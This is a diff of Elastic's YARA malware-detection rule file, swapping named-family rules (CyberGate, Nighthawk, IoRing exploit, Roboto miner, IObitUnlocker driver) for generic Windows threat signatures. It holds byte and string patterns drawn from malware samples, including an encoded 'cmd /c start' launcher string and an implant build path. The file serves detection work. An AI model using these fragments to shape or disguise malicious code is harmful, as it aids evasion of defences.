-		modified = "2023-06-13"
+		id = "278c589e-fca0-4228-8ffa-6b5e4627b1b1"
+		date = "2024-01-31"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CyberGate.yar#L45-L64"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b7204f8caf6ace6ae1aed267de0ad6b39660d0e636d8ee0ecf88135f8a58dc42"
-		logic_hash = "8075892728c610c1ceacd0df54615d2a3e833d728d631a9bf81311e8c6485f6e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2437-L2455"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cccc6c1bf15a7d5725981de950475e272c277bc3b9d266c5debf0fc698770355"
+		logic_hash = "59bbbecd73541750f7221b12895ccf51e1a6863ceca62e23f541df904ad23587"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "8a79d1eba89dd08d2e8bdedee834c88dbeabf5f2f249b1e5accdb827671c22c2"
-		severity = 100
+		fingerprint = "573b6c5400400b167edd94e12332d421a32dc52138a2a933f2fa85f8409c8e4a"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 00 00 55 8B EC 83 C4 EC 56 57 8B 45 08 8B F0 8D 7D EC A5 A5 }
-		$a2 = { 49 80 39 C3 75 F5 8B C2 C3 55 8B EC 6A 00 6A 00 6A 00 53 56 57 }
+		$a1 = { 49 6E 73 74 61 6C 6C 65 72 20 77 69 6C 6C 20 6E 6F 77 20 64 6F 77 6E 6C 6F 61 64 20 66 69 6C 65 73 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 69 6E 73 74 61 6C 6C 61 74 69 6F 6E 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Exploit_Ioring_1E4A8F47 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_6B621667 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Exploit Ioring (Windows.Exploit.IoRing)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "1e4a8f47-0c04-4219-bc51-03ed0078d8a9"
-		date = "2024-02-28"
-		modified = "2024-03-21"
+		id = "6b621667-8ed2-4a6e-9fad-fc7a01012859"
+		date = "2024-01-31"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_IoRing.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ba2bd270bf3f312dfa3f77f0716edb634c90506c87f82c04aee09445d18738eb"
-		logic_hash = "cbbea9a60bde13356ce88cd96aacaa02a3c99f4ae0b48c4ba84b72528a3d6b91"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2457-L2475"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b50b39e460ecd7633a42f0856359088de20512c932fc35af6531ff48c9fa638a"
+		logic_hash = "3574b7ef24c4387a9919ed9831af7657047b26d8922ab78788619bbd3d0edd56"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a9048bd34f6dd5b7da283ff23397fa22802049fdce15915ea023b27b9b825d30"
-		severity = 100
+		fingerprint = "77d3637fea6d1ddca7b6943671f2d776fa939b063d60d8b659a0fc63acfdc869"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$s1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 69 00 6F 00 72 00 69 00 6E 00 67 00 5F 00 6F 00 75 00 74 00 }
-		$s2 = "ioring_read" wide nocase
-		$s3 = "ioring_write" wide nocase
-		$s4 = "IoRing->RegBuffers" nocase
+		$a1 = { 55 8B EC 51 64 A1 30 00 00 00 56 33 F6 89 75 FC 8B 40 10 39 70 08 7C 0F 8D 45 FC 50 E8 8F 0D 00 00 83 7D FC 01 74 03 33 F6 46 8B C6 5E C9 C3 8B FF 55 8B EC 51 51 53 56 6A 38 6A 40 E8 32 EB FF }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Roboto_0B6807F8 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_C374Cd85 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Roboto (Linux.Cryptominer.Roboto)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0b6807f8-49c1-485f-9233-1a14f98935bc"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "c374cd85-714b-47c5-8645-cc7918fa2ff1"
+		date = "2024-01-31"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Roboto.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c2542e399f865b5c490ee66b882f5ff246786b3f004abb7489ec433c11007dda"
-		logic_hash = "d945c7a23b9f435851f3c998231da615e220c259051cf213186c28f3279be1dd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2477-L2495"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1c677585a8b724332849c411ffe2563b2b753fd6699c210f0720352f52a6ab72"
+		logic_hash = "8e183f780400f3bf9840798d53b431a4bf28bc43e07d69a3d614217e02f5dd79"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "65f373b6e820c2a1fa555182b8e4547bf5853326bdf3746c7592d018dc2ed89f"
-		severity = 100
+		fingerprint = "4936566b7f3f8250b068aa8e4a9b745c3e9ce2fa35164a94e77b31068d3d6ebf"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FB 49 89 CF 4D 0F AF FC 4D 01 DF 4D 89 CB 4C 0F AF D8 4D 01 FB 4D }
+		$a1 = { 83 EC 0C 53 8B 5E 74 39 9E 44 01 00 00 75 07 33 C0 E9 88 00 00 00 57 8B BE E0 00 00 00 85 FF 74 79 8B 8E E4 00 00 00 85 C9 74 6F 8B 86 44 01 00 00 8B D0 03 C7 8D 4C 01 F8 2B D3 89 4D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Roboto_1F1Cfe9A : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_7693D7Fd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Roboto (Linux.Cryptominer.Roboto)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "1f1cfe9a-ab4a-423c-a62b-ead6901e2a86"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "7693d7fd-4161-4afb-8a8d-d487f2a7de5e"
+		date = "2024-02-13"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Roboto.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "497a6d426ff93d5cd18cea623074fb209d4f407a02ef8f382f089f1ed3f108c5"
-		logic_hash = "2171284991b0019379c8d271013a35237c37bc2e13d807caed86f8fb9d2ba418"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2497-L2515"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc40cc5d0bd3722126302f74ace414e6934eca3a8a5c63a11feada2130b34b89"
+		logic_hash = "886ad084f33faf8baae8a650a88095757c2cff9e18c8f5c50ff36120b43ec082"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8dd9f4a091713b8992abd97474f66fdc7d34b0124f06022ab82942f88f3b330c"
-		severity = 100
+		fingerprint = "92489c8eb4f8a9da5e7bd858a47e20b342d70df1ba3a4769df06c434dc83d138"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 20 85 FF 74 0D 39 FE 73 13 83 FE 0F 77 0E 01 F6 EB F3 BF 01 00 }
+		$a1 = { 55 8B EC 51 51 8B 45 08 83 65 FC 00 8B 00 0F B7 48 14 66 83 78 06 00 8D 4C 01 18 0F 86 9A 00 00 00 53 56 57 8D 59 24 8B 13 8B CA 8B F2 C1 E9 1D C1 EE 1E 8B FA 83 E1 01 83 E6 01 C1 EF 1F F7 C2 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Iobitunlocker_Defb90Fd : FILE
+rule ELASTIC_Windows_Generic_Threat_Df5De012 : FILE MEMORY
 {
 	meta:
-		description = "Name: IObitUnlocker.sys, Version: 1.0.X.Y to 1.3.X.Y"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "defb90fd-d2ac-4168-b248-f698b590a63f"
-		date = "2023-07-25"
-		modified = "2023-07-25"
-		reference = "https://theevilbit.github.io/posts/iobit_unlocker_lpe/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_IoBitUnlocker.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0aff83f28d70f425539fee3d6a780210d0406264f8a4eb124e32b074e8ffd556"
-		hash = "5ce1a8eac73ef1d0741f34d9fb2661da322117a63bffe60ccad092da89664c42"
-		logic_hash = "4b0f440c66b7c9a193f0d6675c2a4246036ebc5c0c83856f45ec40a041e9cd07"
+		id = "df5de012-52b6-4558-a00b-2dbf052e34d3"
+		date = "2024-02-14"
+		modified = "2024-06-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2517-L2535"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "13c06d7b030a46c6bb6351f40184af9fafaf4c67b6a2627a45925dd17501d659"
+		logic_hash = "1a1ce3644c33a4591ab6582525366d47e07bdc2350aa6066ec5b5fedc605b037"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "a2015ef9d0f3f5de47cd5c9a64953aef7a860d5cbd7e176df601c67c89294e4f"
-		threat_name = "Windows.VulnDriver.IoBitUnlocker"
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "ee293cda37e0f1c76f89a7d1e074c9591950299b2ae87cca11c6cf7fbfee1fc4"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 [1-4] 49 00 4F 00 62 00 69 00 74 00 55 00 6E 00 6C 00 6F 00 63 00 6B 00 65 00 72 00 2E 00 73 00 79 00 73 }
-		$product_version = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 [1-4] 31 00 2E 00 ( 30 | 31 | 32 | 33 ) 00 }
-		$subject = { 06 03 55 04 0A [2] 49 4F 62 69 74 20 49 6E 66 6F 72 6D 61 74 69 6F 6E 20 54 65 63 68 6E 6F 6C 6F 67 79 }
-		$pdb_filename = "IObitUnlocker.pdb" fullword
+		$a1 = { 20 2C 3F 2C 2F 2C 37 2C 27 2C 3B 2C 2B 2C 33 2C 23 2C 3D 2C 2D 2C 35 2C 25 2C 39 2C 29 2C 31 2C 21 2C 3E 2C 2E 2C 36 2C 26 2C 3A 2C 2A 2C 32 2C 22 2C 3C 2C 2C 2C 34 2C 24 2C 38 2C 28 2C 30 2C 20 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and (($original_file_name and $product_version) or ($subject and $pdb_filename))
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Nighthawk_9F3A5Abb : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_0E8530F5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Nighthawk (Windows.Trojan.Nighthawk)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9f3a5abb-b329-44db-af71-d72eae2737ac"
-		date = "2022-11-24"
-		modified = "2023-06-20"
+		id = "0e8530f5-32ce-48a2-9413-5a8f4596ba12"
+		date = "2024-02-14"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Nighthawk.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b775a8f7629966592cc7727e2081924a7d7cf83edd7447aa60627a2b67d87c94"
-		logic_hash = "27a34e48141fe260c16c12a2652e440d2540ca5f0c84b41c9c4762dcab44ffd4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2537-L2556"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9f44d9acf79ed4450195223a9da185c0b0e8a8ea661d365a3ddea38f2732e2b8"
+		logic_hash = "f4a010366625c059151d3e704f6ece1808f367401729feaf6cc423cf4d5c5c60"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "a2c49831d048ba91951780f4295895eba3a15f489a39b26b7a27efbc81746e09"
-		severity = 100
+		fingerprint = "33007c3793c74aaac45434cbd0b524973073a7223d68fae8da5cbd7296120739"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$loader_build_iat0 = { B9 BF BF D1 D5 E8 ?? ?? ?? ?? BA 7C 75 84 91 [3-12] E8 ?? ?? ?? ?? BA 47 FB EB 2B [3-12] E8 ?? ?? ?? ?? BA 42 24 3D 39 [3-12] E8 ?? ?? ?? ?? BA E7 E9 EF EE [3-12] E8 ?? ?? ?? ?? BA 47 FD 36 2E [3-12] E8 ?? ?? ?? ?? BA 39 DE 19 3D [3-12] E8 ?? ?? ?? ?? BA 20 DF DB F7 [3-12] E8 ?? ?? ?? ?? BA 45 34 2A 41 [3-12] E8 ?? ?? ?? ?? BA 7D 1C 44 2E [3-12] E8 ?? ?? ?? ?? BA 7D 28 44 2E [3-12] E8 ?? ?? ?? ?? BA 94 36 65 8D [3-12] E8 ?? ?? ?? ?? }
-		$loader_syscall_func = { 65 48 8B 04 25 30 00 00 00 48 8B 80 10 01 00 00 48 89 44 24 F0 65 48 8B 04 25 30 00 00 00 8B 40 68 49 89 CA FF 64 24 F0 }
-		$seq_calc_offset = { 48 8D 0D ?? ?? ?? ?? 51 5A 48 81 C1 ?? ?? ?? ?? 48 81 C2 ?? ?? ?? ?? FF E2 }
-		$seq_keying_registry = { BA ?? ?? ?? ?? 48 8B C8 48 8B D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B CB 4C 8B F0 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B CB 4C 8B F8 E8 ?? ?? ?? ?? 0F B6 4E ?? 48 8B D8 83 E9 ?? 74 ?? 83 F9 ?? 75 ?? 48 C7 C1 ?? ?? ?? ?? EB ?? }
-		$seq_keying_hostname_user = { 40 53 48 83 EC ?? 8A 42 ?? 48 8B D9 3C ?? 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 53 ?? 48 8D 4B ?? C7 02 ?? ?? ?? ?? FF D0 85 C0 0F 95 C0 EB ?? }
-		$seq_keying_file = { E8 ?? ?? ?? ?? 33 DB 48 8D 4E ?? 48 89 5C 24 ?? 45 33 C9 89 5C 24 ?? BA ?? ?? ?? ?? 4C 8B E0 89 5C 24 ?? 44 8D 43 ?? C7 44 24 ?? ?? ?? ?? ?? FF D7 48 8B F8 48 83 F8 ?? 74 ?? 8B 55 ?? 45 33 C9 45 33 C0 48 8B C8 }
-		$seq_crypto_op = { 40 84 F6 74 ?? 48 8B C2 B9 04 00 00 00 F3 0F 6F 44 05 ?? F3 0F 6F 4C 05 ?? 48 8D 40 ?? 66 0F EF C8 F3 0F 7F 4C 05 ?? 48 83 E9 01 }
-		$seq_byte_shift = { 48 83 C3 ?? 8D 4D ?? 48 03 CF 0F B6 41 ?? 0F B6 71 ?? C1 E6 08 0B F0 0F B6 41 ?? C1 E6 08 0B F0 0F B6 01 C1 E6 ?? 0B F0 41 3B 75 ?? 76 ?? B8 ?? ?? ?? ?? EB ?? }
+		$a1 = { 63 6D 64 20 2F 63 20 73 74 61 72 74 20 22 22 20 22 25 53 25 53 22 20 25 53 }
+		$a2 = { 76 68 61 50 20 71 20 65 71 30 75 61 }
 
 	condition:
-		($loader_build_iat0 and $loader_syscall_func) or (2 of ($seq*))
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Nighthawk_2A2E3B9D : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Ba807E3E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Nighthawk (Windows.Trojan.Nighthawk)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "2a2e3b9d-e85f-43b6-9754-1aa7c9f6f978"
-		date = "2022-11-24"
-		modified = "2023-06-20"
+		id = "ba807e3e-13d8-49e0-ad99-32994d490e8b"
+		date = "2024-02-14"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Nighthawk.yar#L28-L47"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "38881b87826f184cc91559555a3456ecf00128e01986a9df36a72d60fb179ccf"
-		logic_hash = "c42605ebba900fafb4ec2d34d93bb7adb69e731ce151b82a95889dd0d738da00"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2558-L2576"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cabd0633b37e6465ece334195ff4cc5c3f44cfe46211165efc07f4073aed1049"
+		logic_hash = "896eedb949eec6dff3e867ae3179b741382dd25ba06c6db452ac1ae5bc6bc757"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "40912e8d6bd09754046598b1311080e0ec6e040cb1b9ca93003c6314725d4d45"
-		severity = 100
+		fingerprint = "e6ea7577f8f21e778d21b4651bf55e66ec53fb6d80d68f2ab344261be50d03cc"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$payload_bytes1 = { 66 C1 E0 05 66 33 D0 66 C1 E2 0A 66 0B D1 0F B7 D2 8B CA 0F B7 C2 C1 E9 02 33 CA 66 D1 E8 D1 E9 33 CA C1 E9 02 33 CA C1 E2 0F 83 E1 01 }
-		$payload_bytes2 = { 48 8B D9 44 8B C2 41 C1 E0 0F 8B C2 F7 D0 48 8B F2 44 03 C0 41 8B C0 C1 E8 0C 41 33 C0 8D 04 80 8B C8 C1 E9 04 33 C8 44 69 C1 09 08 00 00 41 8B C0 C1 E8 10 44 33 C0 B8 85 1C A7 AA }
+		$a1 = { 7D 4A 36 35 2B 7E 2E 2C 2F 37 2C 3D 31 7E 3B 3D 30 30 2F 2A 7E 3C 39 7E 2C 29 30 7E 35 30 7E 5A 4F 4B 7E 31 2F 3A 39 70 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Nighthawk_23489175 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_4578Ee8C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Nighthawk (Windows.Trojan.Nighthawk)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "23489175-ed41-4f43-ac85-b9ae3ffb55d9"
-		date = "2023-06-14"
-		modified = "2023-07-10"
+		id = "4578ee8c-9dfc-4fb2-b5dc-8f55b6ee26d0"
+		date = "2024-02-14"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Nighthawk.yar#L49-L74"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "697742d5dd071add40b700022fd30424cb231ffde223d21bd83a44890e06762f"
-		logic_hash = "be41fc53f7098ca3cf718e8066a488196423ede993466c9a24ad2af387e03b24"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2578-L2596"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "699fecdb0bf27994d67492dc480f4ba1320acdd75e5881afbc5f73c982453fed"
+		logic_hash = "1a519bb84aae29057536ea09e53ff97cfe34a70c84ac6fa7d1ec173de3754f03"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "3ff9fe5ef10afa328025a6abd509af788a9b1d5ef73a379e3767b2a4291566a3"
-		severity = 100
+		fingerprint = "3a40e6e8f35c5c114b1b0175723d9403c357bba7170c4350194d40d4a2c94c61"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$pdb = "C:\\Users\\Peter\\Desktop\\dev\\implant\\CommsChannel\\x64\\Release-ReflectiveDLL\\Implant.x64.pdb" ascii fullword
-		$seq_str_decrypt = { 48 8B C3 48 83 7B ?? ?? 72 ?? 48 8B 03 0F BE 14 06 49 8B CF E8 ?? ?? ?? ?? 48 85 C0 74 ?? 49 2B C7 48 8D 0D ?? ?? ?? ?? 8A 0C 08 48 8B C3 48 83 7B ?? ?? 72 ?? 48 8B 03 88 0C 06 }
-		$seq_hvnc = { BA 06 01 00 00 41 B9 00 00 20 A0 41 B8 20 00 00 00 48 8B CE FF 15 }
-		$seq_pe_parsing = { 8B 44 24 ?? 48 6B C0 28 48 8B 4C 24 ?? 8B 44 01 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 03 C8 48 8B C1 48 89 44 24 ?? 8B 44 24 ?? 48 6B C0 28 48 8B 4C 24 ?? 8B 44 01 ?? 89 44 24 ?? EB ?? }
-		$seq_library_resolver = { 48 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 63 40 ?? 48 8B 4C 24 ?? 48 03 C8 48 8B C1 48 89 44 24 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 8B 4C 24 ?? 8B 84 01 ?? ?? ?? ?? 89 44 24 ?? 83 7C 24 ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? }
-		$seq_disk_info = { 4C 8B A3 B0 00 00 00 48 8B BB A8 00 00 00 49 3B FC 0F 84 ?? ?? ?? ?? 48 8D B3 D8 00 00 00 4C 8D B3 F0 00 00 00 4C 8D BB C0 00 00 00 45 33 ED }
-		$seq_keyname = { 8B 4B 08 C1 E1 08 0B 4B 04 C1 E1 10 41 B8 40 00 00 00 48 8D 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? }
-		$seq_tcptable = { 41 BF 02 00 00 00 41 3B FF 74 ?? 83 FF 17 41 8B C7 75 ?? B8 08 00 00 00 }
+		$a1 = { 55 73 65 72 2D 41 67 65 6E 74 3A 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 25 64 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 25 64 2E 31 3B 20 53 56 31 29 }
 
 	condition:
-		(1 of ($pdb)) or (2 of ($seq*))
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Adlibrary_2E908E5F : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Ebf62328 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Adlibrary (Linux.Trojan.Adlibrary)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "2e908e5f-f79e-491f-8959-86b7cffd35c0"
-		date = "2022-08-23"
-		modified = "2022-10-18"
+		id = "ebf62328-f069-43f2-b943-6ddf64f04fb2"
+		date = "2024-02-14"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Adlibrary.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "acb22b88ecfb31664dc07b2cb3490b78d949cd35a67f3fdcd65b1a4335f728f1"
-		logic_hash = "0d0df636876adf0268b7a409bfc9d8bfad298793d11297596ef91aeba86889da"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2598-L2618"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dfce19aa2e1a3e983c3bfb2e4bbd7617b96d57602d7a6da6fee7b282e354c9e1"
+		logic_hash = "e99b56dde761c5efad14f935befa4d1dbb31cd305b5d6af05a90d44dc3cd0098"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "27ea79ad607f0dbd3d7892e27be9c142b0ac3a2b56f952f58663ff1fe68d6c88"
-		severity = 100
+		fingerprint = "44cce86a986cbb051f1b94c2d5b54830cbe7de1f3387e207bd6b267a5166bbe7"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 32 04 39 83 C7 01 0F BE C0 89 04 24 E8 ?? ?? ?? ?? 3B 7C 24 ?? B8 00 00 00 00 0F 44 F8 83 C5 01 81 FD }
+		$a1 = { 74 52 75 50 5B 5D 5F 5E 41 5C 41 5D 41 5E }
+		$a2 = { 5F 5E 41 5C 41 5E 41 5F 74 7A 75 78 }
+		$a3 = { 44 64 71 52 71 77 7C 61 69 41 66 6E 68 73 6F 72 48 60 6C 65 49 46 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Dinvokerust_512D3B59 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Dcc622A4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Dinvokerust (Windows.Hacktool.DinvokeRust)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "512d3b59-6bd3-4716-aa5f-1541044bbf9a"
-		date = "2024-02-28"
-		modified = "2024-03-21"
+		id = "dcc622a4-5c10-463b-a950-fc728f990bca"
+		date = "2024-02-14"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
